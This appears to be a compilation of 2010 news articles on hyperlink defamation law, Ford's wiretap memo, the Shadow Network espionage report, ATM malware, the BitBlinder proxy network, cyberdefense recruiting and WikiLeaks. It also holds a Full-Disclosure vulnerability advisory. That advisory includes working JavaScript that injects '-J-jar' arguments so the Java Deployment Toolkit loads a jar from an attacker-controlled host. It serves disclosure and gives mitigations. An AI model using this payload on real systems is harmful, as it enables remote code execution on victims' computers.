The B.C. Supreme Court rejected Crookes' challenge in a 2008 ruling that noted there was no way of knowing whether readers even clicked on the links.

"The purpose of a hyperlink is to direct the reader to additional material from a different source," said the decision. "The only difference is the ease with which a hyperlink allows the reader, with a simple click of the mouse, to instantly access the additional material."

The Supreme Court has touched on online communication in a few other cases, including a recent ruling that gave journalists and bloggers stronger protection against defamation suits by creating a new defence.

The Crookes case, however, will be the first direct pronouncement on Internet freedom of speech, said Michael Geist, a University of Ottawa law professor who specializes in the Internet.

"The notion that someone might be considered a publisher merely by linking to someone else's content, I think could have a potentially huge chilling affect and, for that reason alone, is going to have a major impact on the shape of the Internet in Canada," said Geist.

He noted that a 14-year-old law in the United States grants immunity for hyperlinks and he said that Canada should introduce similar legislation so the consequences of defamatory speech rest with those who are directly responsible.

The B.C. Court of Appeal, in its 2009 ruling, said the case is the first in Canada on hyperlink liability to reach the appeal level.

Newton, in a posting Thursday on his website, wrote that hyperlinking is what makes the web tick.

"Without it, the Internet would become a drab and pale facsimile of the exciting news, data and information medium it is today," he wrote.

"Instead, each item would be isolated from every other item, and online defamation lawsuits aimed at anyone and everyone with a Web site would instantly become commonplace."
http://www.montrealgazette.com/news/...554/story.html





Jerry Ford OKed Warrantless Wiretaps in U.S., Memo Reveals
Andrew Becker

President Gerald Ford secretly authorized the use of warrantless domestic wiretaps for foreign intelligence and counterintelligence purposes soon after coming into office, according to a declassified document.

The Dec. 19, 1974 White House memorandum, marked Top Secret/Exclusively Eyes Only and signed by Ford, gave then-Attorney General William B. Saxbe and his successors in office authorization "to approve, without prior judicial warrants, specific electronic surveillance within the United States which may be requested by the Director of the Federal Bureau of Investigation."

In giving the attorney general warrantless wiretap authority, Ford said he was "satisfied that programs requiring such surveillance are important to national security" and chose to "reaffirm and renew" such powers. It is unclear how widely, if at all, the authority was used to spy on Americans or others living in the United States.

"I have been advised by you [Saxbe] and by the Department of State that such surveillance is consistent with the Constitution, Laws and Treaties of the United States," Ford wrote about four months after Richard Nixon's resignation, which was brought on by the Watergate scandal and revelations that Nixon authorized domestic eavesdropping.

In 1975, the U.S. Senate held what became known as the Church Committee hearings, named for Sen. Frank Church of Idaho, which further exposed warrantless wiretaps and other electronic surveillance of Americans.

Despite authorizing wiretaps for national security reasons, Ford believed strongly in privacy rights. Previously declassified 1976 White House documents from his administration show that the then-president favored a proposed law to govern electronic surveillance, according to the National Security Archives at George Washington University, which first obtained those records. Ford supported the legislation despite objections from then-Secretary of Defense Donald Rumsfeld and then-CIA director George H.W. Bush.

An earlier, slightly redacted version of the wiretap memorandum was declassified in 1998 and posted in 2006 on the National Security Archives Web site. In March 2010 a separate institution, the National Archives, released the full memorandum. That version, obtained through the federal Freedom of Information Act, was shared with the nonprofit Center for Investigative Reporting in Berkeley, Calif.

John Laprise, a visiting assistant professor in the communications program of Northwestern University who first obtained the memo, said in an interview that the document brings to light previously unknown information about the Ford administration's policy on warrantless wiretaps.

"Ford was completely motivated by defending against the Cold War threat of the Soviet Union," Laprise said. "This could be Bush after 9/11 or Obama after becoming president, but it's President Ford 35 years ago, coping with Cold War struggles. It's really a stunning document that raises all sorts of questions."
Ford was a strong advocate of an individual's right to privacy, but believed his responsibility as commander in chief was first to protect U.S. citizens from foreign surveillance, Laprise said. The warrantless wiretap authority Ford gave was essentially to spy on -- and counter -- Americans or foreigners in the United States who were spying for foreign countries or political groups, he said.

The memorandum has no rescission date, but Ford directed the attorney general "to advise me of any changes in statutes or of relevant judicial decisions bearing on these matters."

The memo said the attorney general must personally approve a warrantless electronic surveillance request, which must satisfy several conditions: to protect against attacks or hostile acts by a foreign power; to obtain foreign intelligence information "deemed essential" to national security; to protect against foreign intelligence activities, or to obtain information which the secretary of state or the national security adviser certified as necessary for foreign affairs.

Ford later backed legislation that imposed greater restrictions on warrantless wiretaps. Known as the Foreign Intelligence Surveillance Act and signed by President Jimmy Carter, the 1978 law created a special Foreign Intelligence Surveillance Court to review requests for surveillance warrants on foreign agents suspected of spying on American soil.

The controversy surrounding warrantless wiretapping was renewed after revelations in 2005 that President George W. Bush in 2002 secretly authorized domestic eavesdropping on Americans. At a Jan. 26, 2006 news conference, Bush said that past presidents had relied on "the same authority I've had" in order to "use technology to protect the American people," according to the New York Times.

A federal judge this week ruled that the National Security Agency violated the 1978 law by electronically eavesdropping on an Oregon-based Islamic charity without a warrant from the federal surveillance court. Although President Obama was critical of the Bush-era policy during the 2008 presidential campaign, his administration has since tried to dodge the issue.

Steven Aftergood, the director of the Federation of American Scientists' Project on Government Secrecy, noted that Ford's memo to "reaffirm and renew" the warrantless wiretap authority given to the attorney general implied that he was perpetuating rather than initiating the surveillance program.

"It memorializes the practice of unchecked domestic surveillance," he said. "Clearly there are gaps in the record, and there are new revelations to be discovered, even about events from 40 years ago."
http://www.politicsdaily.com/2010/04...uments-reveal/





Researchers Trace Data Theft to Intruders in China
John Markoff and David Barboza

Turning the tables on a China-based computer espionage gang, Canadian and United States computer security researchers have monitored a spying operation for the past eight months, observing while the intruders pilfered classified and restricted documents from the highest levels of the Indian Defense Ministry.

In a report issued Monday night, the researchers, based at the Munk School of Global Affairs at the University of Toronto, provide a detailed account of how a spy operation it called the Shadow Network systematically hacked into personal computers in government offices on several continents.

The Toronto spy hunters not only learned what kinds of material had been stolen, but were able to see some of the documents, including classified assessments about security in several Indian states, and confidential embassy documents about India’s relationships in West Africa, Russia and the Middle East. The intruders breached the systems of independent analysts, taking reports on several Indian missile systems. They also obtained a year’s worth of the Dalai Lama’s personal e-mail messages.

The intruders even stole documents related to the travel of NATO forces in Afghanistan, illustrating that even though the Indian government was the primary target of the attacks, one gap in computer security can leave many nations exposed.

“It’s not only that you’re only secure as the weakest link in your network,” said Rafal Rohozinski, a member of the Toronto team. “But in an interconnected world, you’re only as secure as the weakest link in the global chain of information.”

As recently as early March, the Indian communications minister, Sachin Pilot, told reporters that government networks had been attacked by China, but that “not one attempt has been successful.” But on March 24, the Toronto researchers said, they contacted intelligence officials in India and told them of the spy ring they had been tracking. They requested and were given instructions on how to dispose of the classified and restricted documents.

On Monday, Sitanshu Kar, a spokesman for the Indian Defense Ministry, said officials were “looking into” the report, but had no official statement.

The attacks look like the work of a criminal gang based in Sichuan Province, but as with all cyberattacks, it is easy to mask the true origin, the researchers said. Given the sophistication of the intruders and the targets of the operation, the researchers said, it is possible that the Chinese government approved of the spying.

When asked about the new report on Monday, a propaganda official in Sichuan’s capital, Chengdu, said “it’s ridiculous” to suggest that the Chinese government might have played a role. “The Chinese government considers hacking a cancer to the whole society,” said the official, Ye Lao. Tensions have risen between China and the United States this year after a statement by Google in January that it and dozens of other companies had been the victims of computer intrusions coming from China.

The spy operation appears to be different from the Internet intruders identified by Google and from a surveillance ring known as Ghostnet, also believed to be operating from China, which the Canadian researchers identified in March of last year. Ghostnet used computer servers based largely on the island of Hainan to steal documents from the Dalai Lama, the exiled Tibetan spiritual leader, and governments and corporations in more than 103 countries.

The Ghostnet investigation led the researchers to this second Internet spy operation, which is the subject of their new report, titled “Shadows in the Cloud: An investigation Into Cyberespionage 2.0.” The new report shows that the India-focused spy ring made extensive use of Internet services like Twitter, Google Groups, Blogspot, blog.com, Baidu Blogs and Yahoo! Mail to automate the control of computers once they had been infected.

The Canadian researchers cooperated in their investigation with a volunteer group of security experts in the United States at the Shadowserver Foundation, which focuses on Internet criminal activity.

“This would definitely rank in the sophisticated range,” said Steven Adair, a security research with the group. “While we don’t know exactly who’s behind it, we know they selected their targets with great care.”

By gaining access to the control servers used by the second cyber gang, the researchers observed the theft of a wide range of material, including classified documents from the Indian government and reports taken from Indian military analysts and corporations, as well as documents from agencies of the United Nations and other governments.

“We snuck around behind the backs of the attackers and picked their pockets,” said Ronald J. Deibert, a political scientist who is director of the Citizen Lab, a cybersecurity research group at the Munk School. “I’ve not seen anything remotely close to the depth and the sensitivity of the documents that we’ve recovered.”

The researchers said the second spy ring was more sophisticated and difficult to detect than the Ghostnet operation.

By examining a series of e-mail addresses, the investigators traced the attacks to hackers who appeared to be based in Chengdu, which is home to a large population from neighboring Tibet. Researchers believe that one hacker used the code name “lost33” and that he may have been affiliated with the city’s prestigious University of Electronic Science and Technology. The university publishes books on computer hacking and offers courses in “network attack and defense technology” and “information conflict technology,” according to its Web site.

The People’s Liberation Army also operates a technical reconnaissance bureau in the city, and helps finance the university’s research on computer network defense. A university spokesman could not be reached Monday because of a national holiday.

The investigators linked the account of another hacker to a Chengdu resident whose name appeared to be Mr. Li. Reached by telephone on Monday, Mr. Li denied taking part in computer hacking. Mr. Li, who declined to give his full name, said he must have been confused with someone else. He said he knew little about hacking. “That is not me,” he said. “I’m a wine seller.”

The Canadian researchers stressed that while the new spy ring focused primarily on India, there were clear international ramifications. Mr. Rohozinski noted that civilians working for NATO and the reconstruction mission in Afghanistan usually traveled through India and that Indian government computers that issued visas had been compromised in both Kandahar and Kabul in Afghanistan.

“That is an operations security issue for both NATO and the International Security Assistance Force,” said Mr. Rohozinski, who is also chief executive of the SecDev Group, a Canadian computer security consulting and research firm.

The report notes that documents the researchers recovered were found with “Secret,” “Restricted” and “Confidential” notices. “These documents,” the report says, “contain sensitive information taken from a member of the National Security Council Secretariat concerning secret assessments of India’s security situation in the states of Assam, Manipur, Nagaland and Tripura, as well as concerning the Naxalites and Maoists,” two opposition groups.

Other documents included personal information about a member of the Indian Directorate General of Military Intelligence.

The researchers also found evidence that Indian Embassy computers in Kabul, Moscow and Dubai, United Arab Emirates, and at the High Commission of India in Abuja, Nigeria had been compromised.

Also compromised were computers used by the Indian Military Engineer Services in Bengdubi, Calcutta, Bangalore and Jalandhar; the 21 Mountain Artillery Brigade in Assam and three air force bases. Computers at two Indian military colleges were also taken over by the spy ring.

Even after eight months of watching the spy ring, the Toronto researchers said they could not determine exactly who was using the Chengdu computers to infiltrate the Indian government.

“But an important question to be entertained is whether the P.R.C. will take action to shut the Shadow Network down,” the report says, referring to the People’s Republic of China. “Doing so will help to address longstanding concerns that malware ecosystems are actively cultivated, or at the very least tolerated, by governments like the P.R.C. who stand to benefit from their exploits though the black and gray markets for information and data.”

John Markoff reported from Toronto, and David Barboza from Shanghai. Vikas Bajaj contributed reporting from Mumbai, India.
http://www.nytimes.com/2010/04/06/science/06cyber.html





Security through obscurity

Why Use BitBlinder?

Online privacy and freedom is vanishing. Marketers and criminals alike track your online activities while Internet filtering becomes increasingly common. Governments and Internet Service Providers around the world are trying to restrict the information that you can access.

BitBlinder aims to preserve your privacy and keep your IP address safe from them. It also allows you to avoid most restrictions and filters on you Internet access. BitBlinder supports both BitTorrent and normal web traffic, with more applications coming soon.

How does it Work?

BitBlinder mixes your Internet traffic with the traffic of everyone else in the BitBlinder network. That way, no one can can know where you go or what you do online.

Normally, whenever you visit a website, your computer reveals your IP address to the site and anyone else who might be watching. This means that your Internet Service Provider or someone on your wireless network can see everything you do online. Even encryption, which hides the contents of the pages you view, does not prevent this attack on your privacy. These examples apply equally well to BitTorrent where even more third parties (eg peers and trackers) know your identity.

Your ISP and neighbors watching you go to a website.

BitBlinder works by having a peer in our network act as a proxy for you. Instead of requesting a page from the website itself, BitBlinder asks the peer to get the page and send it back to you. Since the connection to the peer is encrypted, eavesdroppers don't know what information you sent--they don't even know that you visited the website! Of course, the website itself doesn't know you exist since it received the request from your peer, not you.

Sending traffic through a BitBlinder peer.

The previous setup does help guard your privacy, but it can still get better. In the last setup, the peer knows who you are and the website you visited--everything he needs to compromise your identity! BitBlinder offers even stronger protection for those who need it by using multiple peers in a row. Instead of simply asking your peer to go to the website for you, BitBlinder now asks your peer to send your request through two other peers. This way, each peer only knows the previous and next person to talk to, so no one can figure out both your identity and the website that you went to.

Sending traffic through multiple BitBlinder peers.

Another great benefit of proxying Internet traffic is that it also helps avoid filters. Filters generally work by restricting access to certain IP addresses. BitBlinder naturally avoids this type of filter since your requests are going to a random peer, not the blocked site. Of course, filtering in real life is much more complicated and BitBlinder may or may not help in your situation.

Join our Network.

To use BitBlinder, we require that you either act as a relay for other peers in the network, or pay for your traffic. During our beta testing we are not accepting payments, so you have to be a relay to continue using the network. We do this for a few reasons:

1. Keep the network fast. Basically, the more relays in the network, the faster it is for everyone. If people could use the network without contributing, it would be unusably slow. Besides, no one likes a leech!

2. Gain plausible deniability. You might be able to reasonably claim that Internet traffic coming from your computer did not originate from you even if it did. This is not legal advice, but it is nice that the other traffic obscures your own traffic and helps preserve your privacy.

3. Its free. That is to say, BitBlinder as a service is free, and most likely providing bandwidth to our network is free for you as well. The vast majority of Internet users pay a flat monthly fee for Internet access regardless of how much bandwidth they use and how much traffic they send. Even if you have a cap, BitBlinder easily allows you to limit the amount of traffic you proxy in a given month or even limit the bandwith devoted to proxying traffic.

4. Promote free speech. Help promote free speech by letting others circumvent filters and protect their identities online. Without privacy and anonymity, people cannot always be free to say what they really think. By using the network, you can help people in other more oppressive countries have unrestricted access to the Internet.

Be Safe Online.

While BitBlinder offers strong protection for your privacy, it is neither magic nor a panacea. You should use secure connections whenever possible to prevent spying on your traffic when it leaves the proxy network. When browsing, use HTTPS instead of HTTP whenever it is supported by the website. After all, even if an eavesdropper doesn't know who you are, you probably still don't want them reading the contents of your traffic.

Of course, there are a few other situations where you can compromise your own identity even if you use encryption and multiple proxies. For instance if you use gmail, Facebook, or Twitter, you can't be anonymous since your identity is tied to your account. Hiding your IP address simply doesn't do any good to that end since the website knows who you are anyway. Most of all, use common sense! Dont give out your personally identifying information to websites that you don't trust.

Be Responsible!

Finally, use BitBlinder responsibly! We ask that all of our users follow our Code of Conduct. Strong anonymity and filter avoidance is not a license for malicious behaviour! Respect your fellow netizens.
http://bitblinder.com/learn/overview/





Bank of America Employee Charged With Planting Malware on ATMs
Kim Zetter

A Bank of America worker installed malicious software on his employer’s ATMs that allowed him to make thousands of dollars in fraudulent withdrawals, all without leaving a transaction record, according to federal prosecutors.

Rodney Reed Caverly, 37, was a member of the bank’s IT staff when he installed the malware. The Charlotte, North Carolina, man made fraudulent withdrawals over a seven-month period ending in October 2009, according to prosecutors, who’ve charged him with one count of computer fraud.

The government wouldn’t say how much money Caverly stole; the charging document (.pdf), filed April 1, states only that his payoff surpassed the statutory minimum of $5,000.

Caverly, reached by phone, told Threat Level he had no comment, and hung up. According to court records, he has entered into a plea agreement with prosecutors and is set to appear in court on April 13.

“I am absolutely, completely shocked. It doesn’t sound like something he would do. This is just absolutely crazy.”

Caverly was formerly the founder and CEO of Sovidian, LLC, a North Carolina-based software development company established in 1999. The company merged in April 2003 with Data On CD, a document management and archiving firm. According to a news release on Sovidian’s website announcing the merger, the company has provided “tailored software and software integration solutions for the finance industry for over 10 years,” and counted Bank of America and two other major financial institutions as customers.

“Our customers range from large service bureaus (IBM, EDS and M&I Data); to multibillion dollar banks (Bank of America, First Union and Bank of Nova Scotia, Canada); to local community banks,” Caverly is quoted as saying in the release. “Banks are very individualistic. Each situation and operating environment is completely different. There are no off-the-shelf solutions especially for integrating new and old technologies and applications. We specialize in making applications talk to each other and integrating peripherals into existing software environments.”

Tom Chase, general manager for Sovidian, told Threat Level that the company hasn’t had any banking or finance customers since 2004, and that Caverly hasn’t worked there for years. Though he’s still a major investor in the business, he has ”very little involvement” with it now, said Chase.

“I am absolutely, completely shocked [by the charges],” Chase said. “It doesn’t sound like something he would do. This is just absolutely crazy.”

Caverly took the job with Bank of America some time around 2007, said Chase.

The charges were filed the same day that credit card company Visa warned the banking industry that Eastern European ATM malware recently showed up in America for the first time.

That code, initially spotted last year on some 20 ATMs in Russia and Ukraine, was designed primarily to capture PINs and bank card magstripe data, but also allowed thieves to instruct the machine to eject whatever cash was still in it. At the time, security firm Trustwave warned that the malware was likely headed for ATMs in the United States.

At least 16 versions of the East European malware have been found so far and were designed to attack ATMs made by Diebold and NCR, according to the April 1 Visa alert.

There is no information tying the malware found in Russia with the malware allegedly used by Caverly. Bank of America did not immediately respond to a call for comment about the case, but told the Associated Press that the bank discovered the thefts internally. Caverly’s attorney did not return a call.

Nick Percoco, vice president and head of Trustwave’s SpiderLabs Incident Response Team, said the malware does sound like it could be the malware found in East Europe or a version of it.

“[Caverly] could have obtained a copy of that and modified it for his own use,” he told Threat Level. “But the ability to dispense cash without recording activity — that was definitely a feature of the East European malware.”
http://www.wired.com/threatlevel/201...f-america-hack





Java Deployment Toolkit Performs Insufficient Validation of Parameters

From: Tavis Ormandy <taviso () sdf lonestar org>
Date: Fri, 9 Apr 2010 13:08:18 +0200

Java Deployment Toolkit Performs Insufficient Validation of Parameters
-------------------------------------------------------------------------

Java Web Start (henceforth, jws) provides java developers with a way to let
users launch and install their applications using a URL to a Java Networking
Launching Protocol (.jnlp) file (essentially some xml describing the
program).

Since Java 6 Update 10, Sun has distributed an NPAPI plugin and ActiveX control
called "Java Deployment Toolkit" to provide developers with a simpler method
of distributing their applications to end users. This toolkit is installed by
default with the JRE and marked safe for scripting.

The launch() method provided by the toolkit object accepts a URL string, which
it passes to the registered handler for JNLP files, which by default is the
javaws utility.

$ cmd /c ver
Microsoft Windows XP [Version 5.1.2600]

$ java -version
java version "1.6.0_19"
Java(TM) SE Runtime Environment (build 1.6.0_19-b04)
Java HotSpot(TM) Client VM (build 16.2-b04, mixed mode, sharing)

$ cat /proc/registry/HKEY_LOCAL_MACHINE/SOFTWARE/Classes/JNLPFile/Shell/Open/Command/\@
"C:\Program Files\Java\jre6\bin\javaws.exe" "%1"

The toolkit provides only minimal validation of the URL parameter, allowing us
to pass arbitrary parameters to the javaws utility, which provides enough
functionality via command line arguments to allow this error to be exploited.

The simplicity with which this error can be discovered has convinced me
that releasing this document is in the best interest of everyone except
the vendor.

--------------------
Affected Software
------------------------

All versions since Java SE 6 update 10 for Microsoft Windows are believed to be
affected by this vulnerability. Disabling the java plugin is not sufficient to
prevent exploitation, as the toolkit is installed independently.

http://java.sun.com/javase/6/docs/te...nt_advice.html

I believe non-Windows installations are unaffected.

--------------------
Consequences
-----------------------

Exploitation of this issue is not terribly exciting, but is potentially of high
enough impact to merit explanation. The javaws application supports the
following command line parameters.

$ javaws -help
Usage: javaws [run-options] <jnlp-file>
javaws [control-options]

where run-options include:
-verbose display additional output
-offline run the application in offline mode
-system run the application from the system cache only
-Xnosplash run without showing a splash screen
-J<option> supply option to the vm
-wait start java process and wait for its exit

control-options include:
-viewer show the cache viewer in the java control panel
-uninstall remove all applications from the cache
-uninstall <jnlp-file> remove the application from the cache
-import [import-options] <jnlp-file> import the application to the cache

import-options include:
-silent import silently (with no user interface)
-system import application into the system cache
-codebase <url> retrieve resources from the given codebase
-shortcut install shortcuts as if user allowed prompt
-association install associations as if user allowed prompt

Perhaps the most interesting of these is -J, and the obvious attack is simply
to add -jar followed by an attacker controlled UNC path to the jvm command
line, which I've demonstrated below. Other attacks are clearly possible, but
this is sufficient to demonstrate the problem.

In order to trigger this attack in Internet Explorer, an attacker would use a
code sequence like this

/* ... */
var o = document.createElement("OBJECT");

o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";

o.launch("http: -J-jar -J\\\\attacker.controlled\\exploit.jar none");
/* ... */

Or, for Mozilla Firefox

/* ... */
var o = document.createElement("OBJECT");

o.type = "application/npruntime-scriptable-plugin;deploymenttoolkit"

document.body.appendChild(o);

o.launch("http: -J-jar -J\\\\attacker.controlled\\exploit.jar none");
/* ... */

Please note, at some point the registered MIME type was changed to
application/java-deployment-toolkit, please verify which type applies to
your users when verifying any mitigation implemented has been effective (the
simplest way would be to look at the output of aboutlugins on a reference
machine).

A harmless demonstration is provided at the URL below.

http://lock.cmpxchg8b.com/bb5eafbc6c.../testcase.html

-------------------
Mitigation
-----------------------

If you believe your users may be affected, you should consider applying one of
the workarounds described below as a matter of urgency.

- Internet Explorer users can be protected by temporarily setting the killbit
on CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA. To the best of my knowledge, the
deployment toolkit is not in widespread usage and is unlikely to impact end
users.

- Mozilla Firefox and other NPAPI based browser users can be protected using
File System ACLs to prevent access to npdeploytk.dll. These ACLs can also be
managed via GPO.

Detailed documentation on killbits is provided by Microsoft here

http://support.microsoft.com/kb/240797

Domain administrators can deploy killbits and File System ACLs using GPOs, for
more information on Group Policy, see Microsoft's Group Policy site, here

http://technet.microsoft.com/en-us/w.../bb310732.aspx

You may be tempted to kill the HKLM\...\JNLPFile\Shell\Open\Command key, but
the author does not believe this is sufficient, as the plugin also provides
enough functionality to install and downgrade JRE installations without
prompting (seriously). However, if none of your affected users are local
Administrators, this solution may work (untested).

As always, if you do not require this feature, consider permanently disabling
it in order to reduce attack surface.

-------------------
Solution
-----------------------

Sun has been informed about this vulnerability, however, they informed me they
do not consider this vulnerability to be of high enough priority to break their
quarterly patch cycle.

For various reasons, I explained that I did did not agree, and intended to
publish advice to temporarily disable the affected control until a solution is
available.

-------------------
Credit
-----------------------

This bug was discovered by Tavis Ormandy.

This work is my own, and all of the opinions expressed are mine, not my
employers or anybody elses (I added this for you, Dan. Thanks ;-)).

-------------------
Greetz
-----------------------

Greetz to Julien, Neel, Redpig, Lcamtuf, Spoonm, Skylined, asiraP, LiquidK,
ScaryBeasts, Headhntr, Jagger, Sami and Roach.

Some very elite friends have started a consultancy called inverse path, you
should really hire them.

http://www.inversepath.com/

-------------------
References
-----------------------

- Deploying Java with JNLP, Sun Microsystems.
http://java.sun.com/developer/techni...gramming/jnlp/

-------------------
Notes
-----------------------

My advisories are intended to be consumed by a technical audience of security
professionals and systems administrators who are familiar with the principal
for which the mailing list you have subscribed to is named. If you do not fall
into this category, you can get up to speed by reading this accessible and
balanced essay on the disclosure debate by Bruce Schneier.

http://www.schneier.com/crypto-gram-0111.html#1

Some of us would appreciate it if you made the effort to research and
understand the issues involved before condemning us :-)

--
-------------------------------------
taviso () sdf lonestar org | finger me for my gpg key.
-------------------------------------------------------

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

http://seclists.org/fulldisclosure/2010/Apr/119





Uncle Sam Wants You (To Fight Hackers)

The U.S. government is stepping up recruitment of engineers who can help wage cyberwar
Rachael King

Kyle Osborn does a good job impersonating a technical support rep. On a recent day in Southern California, the 19-year-old is working the phones, trying to persuade people on the other end to download malicious software.

In cybercrime circles, this is called "social engineering," and criminals use the tactics to circumvent companies' Internet security software by tricking employees to download harmful software or cough up passwords. Osborn doesn't look the part of a hacker, with his short blond hair, baby face, and glasses. Yet he's persuasive—after a few calls, he finds an employee who agrees to download malicious software that will open a door into the computer network and let Osborn break in.

In real life, Osborn isn't a cybercriminal; he's a student participating in a cyberdefense competition at California State Polytechnic University in Pomona, Calif., that drew about 65 students from Western colleges. The campus is situated on a former ranch east of Los Angeles. Horses and sheep still graze in the pastures.

Boeing (BA) and the Black Hat computer security conference sponsored the regional competition, held Mar. 26 to 28. Cisco Sytems (CSCO) and Intel (INTC) donated computer equipment. The goal is to help companies recruit students who can assist in bolstering their defenses against cyberattacks.

Last year Boeing hired seven students who competed in this event, and the company hopes to fill a few slots with talent discovered this year, too. "It's about [developing] the next generation of cyberwarriors to protect the nation," says Alan Greenberg, technical director of cyber and information solutions at Boeing.

Boeing employs about 2,000 cybersecurity workers, up from roughly 100 in 2004. This year, the company may hire 15 to 30 cybersecurity workers, Greenberg says.

Not Enough Applicants

Demand for cybersecurity professionals is growing quickly. Government and industry executives say they need more cybersecurity employees but struggle to find qualified applicants. Just 40% of government hiring managers say they're satisfied with the quality of applicants for federal cybersecurity jobs, and only 30% are satisfied with the number, according to a July 2009 report by Booz Allen Hamilton.

While the government's scholarship program can fill about 120 entry-level cybersecurity jobs, the feds need about 1,000 recent grads to fill those spots, according to the report.

Together, the U.S. public and private sectors will need about 60,000 cybersecurity workers in the next three years, says Greenberg. "There will be a shortage."

The number of cyberattacks from organized hackers against the computer networks of U.S. companies continues to escalate. "Two recent examples have highlighted why companies need to work together: the Conficker worm and the Google attack," says Melissa Hathaway, a former cybersecurity adviser in the Bush and Obama administrations.

Trouble in China

In one particularly high-profile case, the computer systems of Google (GOOG) and more than 30 other companies, including Adobe Systems (ADBE), were breached by hackers based in China.The incident ultimately led Google to redirect its Chinese users to company servers in Hong Kong.

In February, security software vendor NetWitness said it had discovered that about 2,500 organizations had their PCs recruited into a network of spam-sending computers.

At a computer security conference at Stanford University on Mar. 17, government and industry officials said theft of intellectual property from hacking endangers the U.S. economy. Richard Schaeffer, director of information assurance at the intelligence-gathering National Security Agency, said during a panel discussion that the U.S. isn't taking theft of intellectual property due to hacking "seriously enough." Government and industry need to work together to stop it—or risk losing economic leadership, Schaeffer said. "It's not something we as a nation can afford to lose."

In 2008, chief information officers of 800 companies estimated that they had lost $4.6 billion worth of intellectual property due to cybercrime and employee theft, according to a January 2009 report from security software vendor McAfee (MFE).

Best Weapons: People

Cyberdefense competitions at Cal Poly Pomona and other universities are one example of increased public-private cooperation, as recruiters scour contestants for the next generation of cybersecurity talent.

Because cyberattacks happen so quickly and attackers can change tactics rapidly, experts say the fight often boils down to people skills—which side has the best-trained cyberwarriors. "The weapons of the next war will be people," says Alan Paller, director of research at SANS Institute, a research and educational organization for security professionals.

About 85% of critical U.S. infrastructure, including electric utility grids, telecommunications networks, and banking systems, are owned by private industry, according to the U.S. Homeland Security Dept. That means national security is interwoven with private companies' ability to protect their digital networks. "We're all playing defense, and we're all doing it for shareholder value, for customer value, for economic purposes," says John Stewart, Cisco's chief security officer.

The competition at Cal Poly Pomona is a grueling multiday affair. By 7 p.m. on Mar. 27, the 19th hour of the event, the cases of Red Bull are gone, but the teams are still working in an auditorium on campus, some operating mock corporate networks, and others trying to infiltrate them.

The winners will go on to a national competition that begins Apr. 16 in San Antonio. That conference has drawn such corporate sponsors as Microsoft (MSFT), McAfee, and Accenture (ACN). A separate government talent search, the U.S. Cyber Challenge, aims to find 10,000 young cybersecurity workers through a series of national competitions.

Alluring Pay Scales

Starting salaries in Internet security can reach $100,000, says Boeing's Greenberg.

Alisha Kloc, 25, began working as a systems security engineer at Boeing last year after competing in the 2009 cyberdefense competition at Cal Poly and meeting technical director Greenberg. "The competition gave me a good feel for how things work in the real world," she says.

Students said knowing that potential employers were watching the conference gave them extra incentive to perform. "We took this very seriously," says David Hunter, a member of the winning team from Cal Poly Pomona.

Osborn says it's his dream to work in the cybersecurity field. He spends evenings and weekends learning what he can on his own. "I've been doing this since I was 14," he says. At the end of the conference, two people approached him about jobs.

It's another small step in the hunt for fresh talent to bolster the nation's computer security defenses.
http://www.businessweek.com/technolo...041_502327.htm





Video Shows American Killing of Photographer
Elisabeth Bumiller

The Web site WikiLeaks.org released a graphic video on Monday showing an American helicopter shooting and killing a Reuters photographer and driver in a July 2007 attack in Baghdad.

A senior American military official confirmed that the video was authentic.

Reuters had long pressed for the release of the video, which consists of 38 minutes of black-and-white aerial video and conversations between pilots in two Apache helicopters as they open fire on people on a street in Baghdad. The attack killed 12, among them the Reuters photographer, Namir Noor-Eldeen, 22, and the driver, Saeed Chmagh, 40.

At a news conference at the National Press Club, WikiLeaks said it had acquired the video from whistle-blowers in the military and viewed it after breaking the encryption code. WikiLeaks edited the video to 17 minutes.

David Schlesinger, the editor in chief of Reuters news, said in a statement that the video was “graphic evidence of the dangers involved in war journalism and the tragedies that can result.”

On the day of the attack, United States military officials said that the helicopters had been called in to help American troops who had been exposed to small-arms fire and rocket-propelled grenades in a raid. “There is no question that coalition forces were clearly engaged in combat operations against a hostile force,” Lt. Col. Scott Bleichwehl, a spokesman for the multinational forces in Baghdad, said then.

But the video does not show hostile action. Instead, it begins with a group of people milling around on a street, among them, according to WikiLeaks, Mr. Noor-Eldeen and Mr. Chmagh. The pilots believe them to be insurgents, and mistake Mr. Noor-Eldeen’s camera for a weapon. They aim and fire at the group, then revel in their kills.

“Look at those dead bastards,” one pilot says. “Nice,” the other responds.

A wounded man can be seen crawling and the pilots impatiently hope that he will try to fire at them so that under the rules of engagement they can shoot him again. “All you gotta do is pick up a weapon,” one pilot says.

A short time later a van arrives to pick up the wounded and the pilots open fire on it, wounding two children inside. “Well, it’s their fault for bringing their kids into a battle,” one pilot says.

At another point, an American armored vehicle arrives and appears to roll over one of the dead. “I think they just drove over a body,” one of the pilots says, chuckling a little.

Reuters said at the time that the two men had been working on a report about weightlifting when they heard about a military raid in the neighborhood, and decided to drive there to check it out.

“There had been reports of clashes between U.S. forces and insurgents in the area but there was no fighting on the streets in which Namir was moving about with a group of men,” Reuters wrote in 2008. “It is believed two or three of these men may have been carrying weapons, although witnesses said none were assuming a hostile posture at the time.”

The American military in Baghdad investigated the episode and concluded that the forces involved had no reason to know that there were Reuters employees in the group. No disciplinary action was taken.

Late Monday, the United States Central Command, which oversees the wars in Iraq and Afghanistan, released the redacted report on the case, which provided some more detail.

The report showed pictures of what it said were machine guns and grenades found near the bodies of those killed. It also stated that the Reuters employees “made no effort to visibly display their status as press or media representatives and their familiar behavior with, and close proximity to, the armed insurgents and their furtive attempts to photograph the coalition ground forces made them appear as hostile combatants to the Apaches that engaged them.”

Brian Stelter contributed reporting from New York.
http://www.nytimes.com/2010/04/06/wo...06baghdad.html





Debunkers of Fictions Sift the Net
Brian Stelter

It is one of the paradoxes of the Internet.

Along with the freest access to knowledge the world has ever seen comes a staggering amount of untruth, from imagined threats on health care to too-easy-to-be-true ways to earn money by forwarding an e-mail message to 10 friends. “A cesspool,” Google’s chief executive, Eric E. Schmidt, once called it.

David and Barbara Mikkelson are among those trying to clean the cesspool. The unassuming California couple run Snopes, one of the most popular fact-checking destinations on the Web.

For well over a decade they have acted as arbiters in the Age of Misinformation by answering the central question posed by every chain letter — is this true? — complete with links to further research.

The popularity of Snopes — it attracts seven million to eight million unique visitors in an average month — puts the couple in a unique position to evaluate digital society’s attitudes toward accuracy.

